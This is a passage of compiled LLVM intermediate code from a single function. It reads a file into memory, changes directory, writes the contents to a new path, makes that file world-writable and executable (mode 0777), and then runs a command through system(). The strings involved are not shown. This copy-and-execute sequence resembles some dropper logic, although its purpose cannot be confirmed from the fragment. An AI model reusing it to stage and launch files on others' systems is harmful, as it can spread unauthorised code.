%53 = call i64 @stat(i8* %10, %struct.stat* %9)
%54 = icmp eq i64 %53, 0
br i1 %54, label %55, label %82
55: ; preds = %46
%56 = getelementptr inbounds %struct.stat, %struct.stat* %9, i64 0, i32 0
%57 = load i64, i64* %56
%58 = trunc i64 %57 to i32
%59 = call i32* @fopen(i8* %10, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
%60 = icmp eq i32* %59, null
br i1 %60, label %82, label %61
61: ; preds = %55
%62 = call i8* @malloc(i32 %58)
%63 = icmp eq i8* %62, null
br i1 %63, label %82, label %64
64: ; preds = %61
%65 = call i32 @fread(i8* %62, i32 1, i32 %58, i32* %59)
%66 = call i32 @fclose(i32* %59)
%67 = call i64 @chdir(i8* %14)
%68 = icmp eq i64 %67, 0
br i1 %68, label %69, label %82
69: ; preds = %64
%70 = call i32* @fopen(i8* %15, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%71 = icmp eq i32* %70, null
br i1 %71, label %72, label %74
72: ; preds = %69
%73 = call i32 @free(i8* %62)
br label %82
74: ; preds = %69
%75 = call i32 @fwrite(i8* %62, i32 1, i32 %58, i32* %70)
%76 = call i32 @fclose(i32* %70)
%77 = call i32 @free(i8* %62)
%78 = call i64 @chmod(i8* %15, i32 511)
%79 = icmp eq i64 %78, 0
br i1 %79, label %80, label %82
80: ; preds = %74
%81 = call i32 @system(i8* %17)
br label %82
82: ; preds = %27, %74, %64, %61, %55, %46, %40, %37, %32, %21, %0, %80, %72
ret i32 0
}